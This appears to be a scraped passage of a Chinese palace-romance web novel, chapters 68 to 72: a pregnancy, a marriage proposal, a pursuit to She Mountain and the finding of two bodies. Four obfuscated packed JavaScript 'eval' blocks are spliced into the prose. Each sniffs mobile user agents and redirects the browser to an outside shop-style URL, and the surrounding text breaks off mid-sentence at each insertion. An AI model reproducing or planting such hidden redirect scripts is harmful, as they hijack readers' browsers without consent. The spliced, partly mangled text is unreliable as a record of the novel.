;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968070|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能拿货物抵。 老鬼也问过那些是什么,他们只说是好东西,一包能卖五百两,却只按照一百两折价给他抵债。 老鬼也不想收这种来路不明的东西,只是那些人也确实拿不出钱了,只能让人把东西留下,扒了他们的衣服打一顿扔在城外了,早就不知去向。 那些叫做逍遥散的东西,拢共也就十来包,都让钟家的小公子尽数买去了,自个儿那也没了存货。 世间怎么会有如此巧合的事,恰巧来源不可追,又恰巧所有的逍遥散都没了,这怕是换成谁都不会相信。 可老鬼昂着脖子,一口咬定就是这样,哪怕是沈煦让人上了刑也问不出其他的答案来。 看来他早就预设过会有今日,仅仅靠着问,是什么都问不出来了。 严晟和沈煦相视一望,二人不约而同地点了点头,而后沈煦下令:“放。” 既然什么都问不出,关在牢里也无济于事,不如将他放回去,他一定会想方设法将官府已有察觉这件事告诉背后的人。 到时候再时刻监视着他的动静,兴许能有别的收获。 沈煦佯装信了老鬼的说辞,当着他的面,让人去严查进出宣阳城的胡商身份,又安排人去边境寻找醉骨草的踪迹。 等一切都安排完了,好像才意识到老鬼还在这里,面色铁青地让人将他放了。 就连一旁又昏昏沉沉的钟仁,也通知了钟家人赶紧领回去,躺在这儿碍眼。 暗地里又安排了人手,一一监视这些人的动静,扬言连打个喷嚏都不能放过。 一切安排妥当之后,沈煦终于是有些撑不住了,瘫坐在椅子上,不停地按压着额头。 严晟见状,给他斟了杯茶,“一时半会应该是没什么消息了,殿下回东宫休息休息吧。” 沈煦哪里歇得下,刚要摆摆手拒绝,被严晟的一句话拿捏了。 “太子妃还在宫中等着殿下呢。” 确实应该回去看看了。 一想到妻子回来的路上吃了不少苦,自己却连家都还没回过,沈煦不免又有些内疚。 “那行,我先回去看看,阿晟你也回去看看太傅吧!之后若有消息,我再通知你。” 严晟目光有些不自在,轻咳了一声,神神秘秘的说要一道回去。 沈煦再要追问为何,严晟却支支吾吾的,只言太子妃有话要说,他也好奇,便想着一道前去。 这让本就归心似箭的沈煦,回家的念头更甚了。 他心中不免有些焦急,难道是朝暮出了声,大家怕他担心,故意瞒着? 直到一脚踏入东宫寝殿的门槛,听到从里面传来了阵阵欢笑声,沈煦还有些恍惚。 “阿晟,我怎么觉得我是一夜未眠出现了幻听,怎的还有小孩儿玩拨浪鼓的声音?” “好像还有父皇的笑声了,我已经许久没听过父皇笑得这般开心了。” 虽然现在已经下了朝,但父皇还从未踏足过东宫,沈煦只觉得是自己听错了。 在看到妻子的那一刹,他才意识到,这不是梦。 父皇和母后围寝殿内,妹妹举着个拨浪鼓在一旁蹦跶着。 而他心心念念的妻子半坐在床榻上,一只手抚着小腹,正冲着他轻笑。 “殿下,你回来了。”她说。 69. 第 69 章 太医说,蔺朝暮怀了身孕。 早在回城的路上她就隐隐有些察觉,但毕竟也没做过母亲,只是心里猜测,也不好提出来,万一惹来一场空欢喜。 而恰巧同行的人也都没做过父母,还以为她是一路奔波太过劳累。 一想到这里,沈煦不免有些懊恼,“早知道不那么着急回来,万一有什么闪失……” 蔺朝暮握着他的手贴在小腹上,眉眼里都是笑意。 “太医说了,没有大碍,只是受了劳累,休息几日便好,殿下不必担心。” 看儿子一脸无措,一路守着太医问诊的赵皇后也拍拍肩膀安慰他。 “这孩子,懂事呢,知道心疼母亲。” “本宫已经下了令,从御膳房里拨了一批专司调养药膳的人过来,好生养着定是母亲和孩子都能健健康康的。” 沈煦连忙道谢,“多谢母后,我和朝暮不懂,烦请母后多多照应了。” 记忆里还是个爬上树了却不敢跳下来的孩子,现在都已经长成了要跟自己说多多照应他子嗣的年纪。 赵皇后忍不住抹了抹泪,“跟母后说这些生分的话做什么。” 盛兴帝站在一旁,替妻子挡住了她觉得失态的模样。 “有孩子了是好事,我和你母后,定然会好好护着朝暮的。” 沈煦的手依旧有些颤抖,触碰蔺朝暮的动作都带着小心翼翼,若是细看就能发现他仅仅只用了指尖相接,连手掌都不敢放上去。 沈悠然莫名觉得鼻尖有些酸涩,像是要哭了一般。 但又觉得就这样哭出来有些丢份,吸着鼻子嘴硬地调侃起了自己的兄长,“哥哥你可得轻点呢,别碰到我小侄子侄女了。” 到底还算是她有良心,没把直接把沈煦这个父亲给挤开,凑近了小声嘀咕着说她是姑姑。 沈煦也是一脸激动地快要哭出来的样子,扫了一眼周围的亲人,目光落在了好友的身上。 “你小子,早就知道了是吧,还故意瞒着我?” 他一拳朝着肩头的位置打过去,虽然不至于是让严晟伤筋动骨,但到底还是带了些力道,借此来抒发自己胸腔里满溢的激动。 严晟笑着捂住肩头,神情真挚,“恭喜你了,阿煦。” 原先还不知道是发生何事,现在想来,怕是严晟跟来也是为了同他祝贺一声。 如果今日喜得麟儿的是严晟,沈煦觉得自己也会特意赶去见证。 那好不容易忍下来的悸动再次涌了上来,沈煦死命控制着自己的嘴角不至于翘上天去。 “那你可得抓紧了啊阿晟。”沈煦化感激为调侃,笑盈盈地看向好友。 气氛既然已经烘托到了这里,再不开口似乎就有些说不过去了。 严晟望向沈悠然,看见她有些不好意思地点了点头,心里也做出了决定。 他后撤了两步,撩起自己的长袍,噗通一声跪在地上。 因为响声太大,在场众人都被吓了一跳,只除了沈悠然。 她还以为严晟做什么都是那副运筹帷幄的样子呢,没曾想也会这样的……用力过度。 跪在地上的严晟,深吸了一口气,才朝着帝后的方向行了个礼。 “陛下,皇后娘娘,臣有不情之请!” “臣自第一眼见到昭懿帝姬时,便觉心跳如擂鼓般无法自制。自那以后更是寤寐思服久久不能忘怀。” “此番同行,更是折服于帝姬的聪慧勇敢之下,惊觉再难度过没有帝姬的日子,特此请求,还望帝后应允。” “臣严晟,求娶昭懿帝姬为妻。天地为证,生生世世,永不悔今日之誓言。” 不只是其他人,就连沈悠然自己,都被震惊得说不出话来。 她以为,以严晟的性格,最多就是一句“求娶”,竟没想过他会说这些话。 什么第一眼见到之后就不能忘怀,第一眼的时候沈悠然确实是对严晟出言不逊了,可那时候严晟连多看几眼都不敢呢。 沈悠然在心底小声嘀咕着他竟敢如此睁着眼说瞎话,但笑意还是抑制不住地从嘴角溢出。 什么端方君子嘛,不过就是个油嘴滑舌的人! 回过神来的沈悠然站在了严晟的身侧,学着他的模样跪在父皇和母后的面前。 “父皇母后,你们常说往后皎皎若是有了心仪之人一定要同你们说,皎皎觉得,现在就是那个时候。” “父皇母后,我心悦严晟,想要严晟当我的驸马!” 说完,她还大着胆子用手去勾严晟的手心。 严晟本意是想拒绝的,既然是求娶人家的女儿,自然是该拿出端正的态度来,这样拉拉扯扯有失体统。 但在掌心察觉到一阵濡湿的时候,又忽然舍不得放开了。 到底还是个小姑娘,心里也是紧张的,他又如何能做得出放手这种事呢。 这大胆举措如同当头一棒,敲晕了在场的几人,最先反应过来的还是早就有所察觉的蔺朝暮。 视作妹妹的沈悠然既早已认定了严晟,那她这个嫂嫂,也该多帮着说说话的。 她有了如此好的姻缘,自然也是想让沈悠然也圆满。 “我道沿路上严大人总是护着皎皎是为着殿下的面子,原是早就心有所属。” “既如此,那严大人受的那些伤也不算白受了。” 盛兴帝原先还是下意识地抗拒,在听到严晟为了保护女儿还受了伤的时候,又反思着自己是不是有些过分了。 严晟是个什么样的孩子,他和妻子早就看在眼里,甚至早先还想过这二人还是挺配的。 只是女儿长大了有了心仪之人这件事,还是让盛兴帝觉得不太畅快。 “这件事,朕得好好再……” 没等他的话说完,赵皇后就打断了他:“阿晟,你能一辈子护着皎皎吗?” 严晟闻言,以头抢地,结结实实的磕了一个头。 “臣以项上人头担保,定会护帝姬此生安乐无忧。” “那就好了,那就好了。” 赵皇后语气有些低,似是在交代,又像是在自言自语。 “皎皎是我的女儿,从小就被惯坏了,但我不想让她改变自己,你能明白吗阿晟?” 严晟自然是明白的,“臣……亦是如此。” 原本就蓄在眼底的泪珠终于是忍不住了,赵皇后背过头去。 盛兴帝见妻子像是要答应的模样,原本还有些不悦,但看见她微耸的肩头,还是忍不住将她揽在怀里。 “好了好了,大不了往后上半旬让他二人住在宫外帝姬府,下半旬就会宫中住,这样不就能日日见到了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975018|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没什么好难过的,阿晟也是我们看着长大的孩子,不敢不善待皎皎的,到时候朕第一个拿他问罪。” 都不等盛兴帝说起身,沈悠然就直接蹦跶了起来,恨不得整个人都挂在盛兴帝身上。 “父皇,这么说你是答应了?” 盛兴帝不太愿意开口,轻哼着转过头去关心自己的妻子。 沈悠然不依不饶地拽着他的袖口不放,像只碎嘴的鹦鹉一样,不停地嘀咕着。 “父皇你答应了吗答应了吗答应了吗?” 盛兴帝被烦得没了办法,“朕再不答应,这脑子里都不得安生了!” “严晟,你起来吧!你同煦儿情同手足,自然知晓皎皎在朕和皇后心中是何等地位,你既有胆量求娶朕的昭懿帝姬,就该知道,倘若日后负了她,会是什么样的下场!朕不会给你任何机会!” 严晟闻言,磕下了第二个头。 “臣也不会让圣上有这个机会!” * 一个孩子有了子嗣,另一个孩子有了姻缘。 这一晚上当真是过得兵荒马乱的,饶是盛兴帝这种见惯了大事的人,依旧觉得有些应付不过来。 沈煦一天一夜未眠,如今归家,自该让人家小夫妻俩说说话。 盛兴帝见天色已晚,便提议要走,让儿媳静养。 沈悠然原本是想要再待会儿,她的终身大事有了着落,又是第一次当姑姑,觉得什么都还新鲜得很。 太医说了如今孩子或许已经长出了手脚,觉得神奇得厉害,想拉着严晟再和兄嫂说说话。 虽然应下了这门婚事,但盛兴帝此时看严晟有些眼睛不是眼睛鼻子不是鼻子的,不想让沈悠然跟他多待,让她不要在此处打扰兄嫂。 沈悠然撇撇嘴,老老实实跟在父皇母后身后,嘴上还嘟囔着让蔺朝暮肚子里的孩子不要忘了她这个姑姑。 尽管出门的道是同一条,但沈悠然是会审时度势的,知晓父皇此时应当不太愿意与严晟同路而行,便只是朝着严晟眨了眨眼,用口型说着明天见,然后就提溜着裙摆追上了他们的步伐。 至于严晟,便只能孤身一人归去了。 尽管沈煦是疲惫和亢奋交织着片刻都不想再离开妻子,但还是开口说要送好友出去。 在半道上,他严肃地叫着好友的名字。 “严晟,你可知,当驸马的话,你的那些理想和抱负,就再难实现了。” 严晟知晓他是何意,一方面是为好友惋惜,一方面又是在敲打——往后若是后悔,一切都是自己的选择。 “我知。” “我也曾迷茫过,不知该如何选择。直到我和皎皎遇险的时候,我才意识到,放弃抱负会让我遗憾一时,但若是没有皎皎……我会遗憾终生。” 他抬头看向天上的月亮,莹润的光辉不仅照耀着脚下的路,连带着四周的星星都忽闪着光芒。 “再说了,我知殿下定会做到天下太平,即便无法入朝为官,又何妨?” “也不知道太子殿下,是否需要一个无法露面无法鞍前马后,只能在背地里出谋划策的幕僚呢?” 沈煦给了他一拳头,也抬头看了眼天。 妻子有了身孕,妹妹有了归宿。 天上星月明暗交错,明天一定是个艳阳天。 70. 第 70 章 待得严晟归家之时,已然是深夜。 习惯早睡的严太傅早已安寝,硬生生地被从床榻上拽了起来。 严太傅迷蒙之中看清了是谁,倒也没有生气。 自从妻子死后,已经很少能见到严晟这般不稳重的模样了,若不是眼前的人已经高大到需要自己抬头仰望,他真要怀疑一下是否是在梦中回到了从前。 但妻子已经走了很多年了,严晟也不是小孩子了。 一想到日前儿子被派出去巡查各地,此时这般神色匆忙,他还以为是出了什么家国大事。 都不等他开口问,严晟却朝他跪下了。 “父亲,儿子有心仪之人,恳请父亲出面,代为提亲!” 严晟言辞恳切,却让他又觉得恍惚。 提亲?晟儿……竟然已经是该谈婚论嫁的年纪了吗? 严为康的手在半空中一抖,想要去拉严晟,但犹豫再三,还是任由着垂在身侧。 他从未见识过这种场合,不知道该怎么做,也不知道该说些什么,心里不免想着若是妻子还在就好了。 妻子还在的话,应当是会很开心的吧?儿子长大了,有了喜欢的姑娘了,她应该是会欣喜的。 或许还会在晟儿成亲的时候,一边抹着泪,还要笑着说自己没事,就是太高兴了。 想到妻子的模样,严为康心中又是一阵酸涩。 “是哪家的姑娘?”他抖着嘴唇问。 严晟没有半分的迟疑,语气坚定,“是昭懿帝姬。” 严为康顿了顿,心中想着沈悠然从前被他吓哭的模样,第一个念头是觉得不太好——妻子是个温婉的女子,严为康便总觉得文静的女子好,昭懿帝姬性格太跳脱了。 但若是妻子的话,兴许会很高兴,她总说自己古板,若不是家里还有儿子在,怕是连一点笑声都没有了。 有昭懿帝姬在的话,妻子肯定每天都能笑着吧。 严为康不免叹了口气。 但严晟却误以为他这是反对,心中不免有些焦急,磨着膝盖就凑了上去。 “父亲!我从未求过您什么,只这一次……” 他在心里都想好了,若是父亲不同意也无所谓,反正帝姬的婚事由圣上指派,哪怕是父亲反对也无济于事。 不过他还是觉得,不想让皎皎受委屈,希望能够给她一个被所有人都接受和祝福的大婚。 严为康被他的话说得一怔,恍惚间想到,儿子确实已经很久没有用过这样的语气跟他说话了。 妻子死后,儿子就好像成了在家里借宿的学生,他只管教书育人,其他的总想着有家中的奴仆帮忙,不至于过不好。 父子俩之间这般生分,等下去见到妻子,怕是会被埋怨吧。 “帝姬可曾愿意?”严为康心中还有考量,“盛兴帝对帝姬的宠爱全天下皆知,为父既不是有功之臣,也没有手握重权,怕是无法挟功图赏。” 严晟心中一喜,“父亲这是应了?” “父亲不必担忧,儿子和帝姬是两情相悦!并非强人所愿!” 严为康这才放了心。 虽然事发突然,但严为康并不觉得意外——儿子早就到了婚配的年纪,有心仪之人实在是太正常不过了,只除了这人选从未设想过。 他她打发人出去准备再睡一觉,但却觉得只是一闭眼的功夫,就到了天亮,门外的人已然候着等他进宫了。 他认命地穿上官服,就等着圣上忙完之后,就替儿子提亲去了。 * 守在老鬼家宅外的暗探在第二日天色将暗时传来了消息。 被放回家的老鬼白天一整日都坐在院门口,门大敞着警惕的看着路过的每一个人。 幸而沈煦手下的人也不是草包,没暴露自己的身份,监视了一整天。 快到傍晚的时候,街头巷尾的叫卖声逐渐多了起来,老鬼的邻居归家时,瞧见他坐在门口,还同他打招呼问他吃了没。 老鬼好似才反应过来自己已经一日未曾用饭了,跌跌撞撞地出门。 只不过他并未如同自己口中所说的那般出门找饭吃,而是在街头巷尾里到处乱窜,从不走直路,见到岔路就乱拐。 本来这个时辰百姓们结束了劳作,街上的人就多,他再这么故意扰乱视线,暗探好几次都差点跟丢。 最终还是发现老鬼敲开了庄家的后门,分了一部分人留着继续监视,另外派人连忙给太子送了信。 沈煦得到消息,当即去找严晟商议。 此时的严晟刚从勤政殿出来,面带喜色,尽是春风。 沈煦看了一眼跟在他身后的严太傅,顿时明白所为何事,也不由地跟着他笑了笑。 “行了行了,回来再让你小子得意,赶紧跟我收拾收拾去捉人了。” 严晟的神情瞬间变得严肃起来,“有消息了?” 手中的信函已经被攥得起了褶皱,严晟扫了一眼,忍不住皱起了眉头。 “祥宁山庄?”他视线落在信函最后的字眼上,“在佘山的祥宁山庄?” 祥宁山庄是先帝给一个宠妃特意修建的温泉山庄,宁是取自那位宠妃的名讳,而祥则是先皇认为她是大盛的吉兆。 先皇去世之后,庄太后嫌祥宁山庄晦气,并未收为皇家宅院,庄明阳看上起规模和装潢,便找庄太后讨要了去。 佘山原是叫蛇山,坐落于宣阳城外二十里的地方,因其地势蜿蜒陡峭形似一条蜷缩着的蛇而得名,后面人们嫌弃名字不好听,便因着那附近住的佘姓人多,改了名。 “天色将暗,庄家的马车却往佘山的方向去了,恐怕去祥宁山庄只是借口,实则打算畏罪潜逃?” 沈煦可不能给他这个机会,再耽搁下去此事怕是被庄太后知晓,从而力保使其不了了之。 她们得抢占先机。 “阿晟你先去取武器,我去禀告父皇,两刻钟之后南城门汇合,定要将庄明阳绳之以法!” 因为进宫面圣,严晟并未携佩剑,只得回家去取。 怕路上耽搁功夫让人逃脱,严晟也未敢迟疑,当即就往家的方向奔去。 都未曾看见从拐角处跑来的沈悠然。 看见严晟脚步匆忙,沈悠然当即意识到是发生了什么事。 她看向同样面色不虞的哥哥,收敛起了原本的笑意。 “哥哥,怎么了?” 沈煦三两句解释了一遍,按住了想要跟着一起去的沈悠然。 “佘山地势不利,骑马前去也须万分小心,马车根本就进不去。” 天色逐渐阴沉,一如他的脸色。 沈悠然不由地拔高了调子,“我也可以骑马!我又不是只能坐马车的帝姬!” 但这次沈煦却没有答应她。 沈悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978821|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的马术在球场这种平地上还算不错,但她从未踏足过佘山那种陡峭地势,沈煦不会冒险。 “皎皎,听话!” “没事就去东宫看看你嫂嫂,最多子时,哥哥和阿晟就回来了。” 他态度坚决,沈悠然也就不再坚持,但到底是有些赌气的,提着裙摆就跨进勤政殿的门槛,扭过头去不再理他。 沈煦无暇去哄,同盛兴帝知会了一声后,就领着人匆匆离开了。 他走后没多久,天色彻底变得阴暗,隐约之中还传来了阵阵轰雷的声音。 沈悠然只觉得有些心慌,她一向是不怎么喜欢下雨的天气,讨厌被打湿了之后衣衫黏在身上的感觉。 为了让自己不被天气所影响,沈悠然凑到了盛兴帝身边,“父皇,我听说方才严太傅递了折子进宫。” 可不是递了折子吗?早朝之后是盛兴帝批折子的时间,严为康也是懂事没去打扰,但午膳之后就严太傅携亲子说有事要禀。 盛兴帝怎会猜不到是什么事?心中郁气暗结,只让宫人好吃好喝地候着,说是政事太忙,让人稍等片刻。 这一等就是等到了申时,盛兴帝也不好再推脱,谁叫他的女儿喜欢呢。 两位父亲商议了许久,这桩婚事也算是过了明路,接下来就是拟定赐婚圣旨,钦天监算过八字之后订婚期,礼部纳礼等等。 盛兴帝有些不情不愿地,心里这婚再过两年才赐最好。 但沈悠然不乐意了,抱着他的胳膊不停地撒着娇,大有一副他不立刻写好这圣旨就不回去的态势。 盛兴帝被她磨得没了办法,也就真提笔写下了半张圣旨,只是驸马名讳的地方还空着不填。 “想娶我的女儿,哪有这么容易?至少得等他办好了这桩差事再说!” 话是这么说,实则是因为心中还有顾虑。 沈煦和严晟在查的事情和庄家有关,倘若真有对薄公堂的那一日,庄太后不能对沈煦如何,但严晟只是一介官身,想要为难他简直是轻而易举的事。 盛兴帝怕到时候庄太后知道,以这桩赐婚做文章,暗地里使坏毁了这桩婚,便想着等一切风平浪静之后再说。 沈悠然想不到那么多,但也明白父皇的苦心,替严晟打了包票。 “父皇放心吧,严晟一定做得漂漂亮亮的!他要是没点本事,女儿还不愿意嫁呢!” 她眼睛提溜转着,将这未完成的圣旨折起来要带走。 上面既无印鉴,又无名号,盛兴帝也不担心被人知晓坏了她的名声,见她高兴,就由着她去了。 虽然事情没有办完,但圣旨在手,沈悠然放心多了,也就不再纠缠。 她得快些回去呢,不然待会儿真下雨了,即便有伞路也不好走。 但老天爷的脾气又是谁能做得了主的,沈悠然走到半路,豆大的雨点就落了下来。 只是眨眼的功夫,这雨就如同女子闺房的珠帘一般下成了串,前路都变得有些模糊了。 沈悠然的思绪一下子就飘远了,也不知道佘山如何,这么大的雨,淋了怕是会感冒。 她得吩咐御膳房煮点姜茶驱寒,等哥哥回来了之后让他多喝两碗,可不能受了寒之后传给嫂嫂,嫂嫂现在可是金贵的人,不能有闪失。 严晟也得来一碗,传给了自己也不好。 她爱的人们,都得健健康康的才好。 71. 第 71 章 “你是说,太子和严巡察使失去了踪迹?” 沈悠然一推开栖梧宫的大门,就听见盛兴帝不可置信的问询。 他的面前跪着个一身暗卫打扮的男人,雨水顺着他的发丝不断地往下落,弄脏了栖梧宫里光可照人的地面。 沈悠然闻到了一股湿泥土的气息,让她不免有些作呕。 “什么叫,失去了踪迹?”沈悠然喃喃自语道,“哥哥和严晟不是去追查庄明阳了吗?怎么就失去了踪迹。” 她连一声安信侯都不愿说出口,不敢相信自己听到的话。 可眼前的这个人,又确确实实的哥哥身边的暗卫,他腰上的腰牌不会错。 “你是假扮的对不对?”沈悠然突然上前,随手抄起桌上的花瓶,佯装要给他一击。 “你是不是庄家派来的人?谎报一个假消息就想让我们自乱阵脚对不对,是哪里来的勇气居然敢冒充太子亲卫,嫌头上的这颗脑袋太重了吗?” “昭懿!” 只来得及披上一件外衫的赵皇后看着沈悠然将那比她脑袋还大的花瓶举过了头顶,只觉得心都提到了嗓子眼里。 “有话好好说,放下!” 沈悠然急得都哭了出来,“父皇!母后!你们别信这人说的,他一定是假扮的,一定是假扮的!” 说完,她就觉得自己的泪珠好似不受控制了一般,从双颊滚落。 赵皇后连忙上前,抽出了被她双手攥着的花瓶,将她抱在怀里。 “母后知道的,母后知道的,一定是有什么误会,你父皇已经派人去佘山搜查了,一定是误会的。” 沈悠然靠在母亲怀里不停地呜咽着,只觉得整个脑子都已经麻木了,耳边也像是听不见任何的声音。 只有殿外哗啦啦的雨声,一点点打在她的心间。 一直等到天色将明的时候,雨势才总算是变小了。 民间总说秋天的雨每场都是黄金,雨势越大,越是吉兆。 但沈悠然从未有过哪一刻如现在这般讨厌这让人出行不便的雨。 派去佘山的人整整一夜了都没有回音,栖梧宫里的蜡烛也燃烧了一整夜。 早朝的时间到了,盛兴帝不安地又加派了一对人马,这才板着个脸去上了朝。 只剩下沈悠然和赵皇后母女二人还在栖梧宫里眼巴巴地等着消息。 三人原是不约而同地打算瞒着蔺朝暮,但架不住她做了一整晚的噩梦,心中不安,让宫人护送到了栖梧宫,打算找母后说说话。 但推门而入的时候看见两个衣衫不整的亲人,望见她们乌青的眼底和遍布血丝的双眼时,只觉得头顶一阵晕眩。 身边的宫人眼疾手快地护住了她,这才不至于摔倒在地上。 捂着胸口喘了好几口粗气之后,蔺朝暮才缓缓开了口:“殿下出事了。” 这淡淡的带着一丝笃定的语气,让其余二人编不出任何欺瞒她的借口。 一整夜都未曾喝过一滴水,沈悠然的嗓子在她时不时的呜咽之下变得有些喑哑。 “还在找,太子哥哥的暗卫还在找,嫂嫂你先别着急……” 蔺朝暮的双腿此时已经失去了支撑的力气,她被宫人搀扶着坐在了木椅上。 “母后,我、我……蔺家还有家丁护卫,可以派出去找!还有我母亲家里,还有还有……” 她在心里默念着殿下不会有事的,他说过办完差事就会回来,迟迟没有找到一定是因为佘山太大了,父皇派出去的人手不够。 宫中的人手比一介礼部侍郎府里的家丁护卫多了不知道多少倍,她当然是知道的。 只是不这样安慰自己,蔺朝暮只觉得快要无法喘气了。 “母后,您这有纸笔吗?儿媳要给父母写信,对,给父母写信,让他们把家里的人都调去找,对……” 蔺朝暮一手抚着肚子,说起话来都有些语无伦次。 原以为眼泪已经跟这一夜的雨一般流干了的沈悠然霎时间又觉得眼底变得酸涩起来。 “嫂嫂、嫂嫂……” 她也不说话,只是一味地唤着蔺朝暮,也不知道是在安慰她,又或者是在安慰自己…… 赵皇后看着这两个孩子,强忍住想要落泪的冲动,也不去阻止她们,只是让人吩咐小厨房熬些粥来,在粥里放些不伤身体的安神药。 她的这两个女儿,一个比一个倔,劝是劝不了了,但又不能再让她们这般担惊受怕的。 特别是蔺朝暮,她前些日子本就伤了身子,这下再悲伤过度,怕是会熬不住的,能让她们睡会儿,总归是好的。 沈悠然和蔺朝暮被赵皇后劝说着要护好自己,别等到好消息传来的时候自己却倒下了,毫不知情地用了早膳,陷入了睡梦中。 再度醒来的时候,沈悠然望见窗外昏暗不明的天色,只觉得头昏脑涨地,都分不清如今是白天亦或者黑夜。 到底是肚子里还有个孩子,蔺朝暮心有挂念,用的粥比沈悠然多,这会儿还在睡梦里。 沈悠然看着即便是在梦里依旧眉头紧皱的嫂嫂,心里有了一个念头。 她悄声起了床,因为怕有人影响二人休息,赵皇后并未在宫中留人,这也就给了沈悠然机会。 她学着小时候躲避罚抄时候那样翻出了窗户,溜去马厩里随手牵了一只马。 哥哥说过佘山路险,沈悠然惯用的那匹马模样倒是好看,但血性不足,不适合去那种地方。 临出了马厩的时候,她还不忘顺走一件蓑衣。 她在心底想着,瞧她准备得多充分啊,一定能找到严晟和哥哥的。 * 佘山具体在何处沈悠然并不清楚,只知道是在宣阳城的南方。 她出了宫门才知道现下还是未时,只不过又开始下起了雨,天空被乌云遮盖着,看起来如同黑夜一般。 这种天气,一路上连行人都不多,她跌跌撞撞地问了好几个人,才得知佘山该往哪走。 被她叫住的那几个行人瞧见她一个小姑娘孤身一人赶路,都纷纷劝说她这种天气去佘山太危险了。 是啊,去佘山太危险了,严晟跟哥哥怎么还要去呢? 沈悠然死命咬住唇不让自己哭出声,又或者她其实一直在哭,只是泪水和雨水混作一团了,她早就分不清。 临到佘山脚下的时候,她还瞧见了不少宫里的人。 有些是太子的亲卫,有些是宫中的侍卫,有些是盛兴帝的暗卫。 他们瞧见有人擅闯,还抽出剑来拦住了沈悠然的去向。 身下的马儿被突如其来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982976|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长剑惊得后退了两步,沈悠然一时不察,差点被甩个人仰马翻。 若不是她一直都拽紧了缰绳,早就摔进了泥土里。 “本宫乃昭懿帝姬,特奉陛下之令,前来追寻太子下落,看谁敢拦!” 沈悠然的嗓音早就变得嘶哑,此时又拿出了帝姬的架势来,竟好像脱去了从前的那分稚气,成为了一个真正的帝姬。 为首的亲卫作势收回了佩剑,正准备朝沈悠然行礼,却被她拦住了。 “什么时候了,还讲究那些虚礼!本宫只想知道人呢!” 亲卫首领和身后的人面面相觑,也不知道该不该开口。 “回……帝姬的话,人、人……” “找到了就是找到了,没找到就是没找到!吞吞吐吐的做什么?” 见沈悠然快要发怒,亲卫首领哗啦一声带领身后的人跪成一片。 “回帝姬的话,人是找到了,但……” 沈悠然敲了敲自己的脑袋,觉得今日的雨真的太大了些,都落入耳中糊了她的听觉。 但什么?找到了就是找到了,为什么还有但是呢? 沈悠然强忍着上下唇的颤抖,冷冷地对为首的那人说道,“带本宫去看。” 亲卫首领面露难色,“还请帝姬……做好心理准备。” 要什么准备啊,她去见自己的哥哥和爱人,哪里需要什么准备。 沈悠然下了马,被亲卫首领指引着去往唯一的一片平整之地。 那里躺着两个人,一个穿着太子常服,沈悠然最后一眼看见他的时候就是穿的这件衣裳。 一支长箭从左胸的位置径直穿过,箭头的血迹没了血迹,似乎是被雨水给冲刷掉了,只有那惨白发肿的面色昭示着眼前的人早就失血过多没了生机。 不该是这样的,沈悠然看着这张早已无比熟悉的脸,在心中默念着不该是这样的。 而旁边躺着的那个人更为瘆人,整个脑袋都变了形,脸上沾着黑乎乎的一团,不知道是泥土还是其他的什么东西,还夹杂着大小不一的碎石土。 玄色的长袍上凌乱散落着被树枝刮破的很久,就连腰侧的蚕丝穗都变成了烂布一般,散乱着垂在腰侧。 一旁的暗卫说是从悬崖上掉了下来,脸着地直接砸了个稀烂。 不该是这样的……不该是这样的…… 沈悠然觉得她一定是还没有睡醒,一定是还在做梦。 她死命地掐着自己的胳膊,不停地让自己快点醒来。 但无论她怎么用力,眼前的东西都没有发生任何的改变。 依旧是大到视线都有些模糊的雨,茂盛得遮住了整个天空的大树,身后密密麻麻的暗卫,还有…… 还有了无生气的两个人,静静地、冰冷地躺在地上。 沈悠然觉得自己已经崩溃了,她冲到二人身边跪坐在地上,不停地拍打着他们二人的身体,就好像打得痛了,他们就会结束这个一点都不好笑的玩笑,坐起来嘲笑她哭鼻子的模样。 “你们起来的,你们骂我啊,这么大的雨,你们一定会骂我不爱惜身子的对不对?佘山这么危险,我自己一个人骑着马就来了,你们怎么不骂我呢?快点起来骂我啊……” “哥哥、严晟……你们怎么……都不管皎皎了呢?” 72. 第 72 章 沈悠然让人带她去发现尸体的地方。 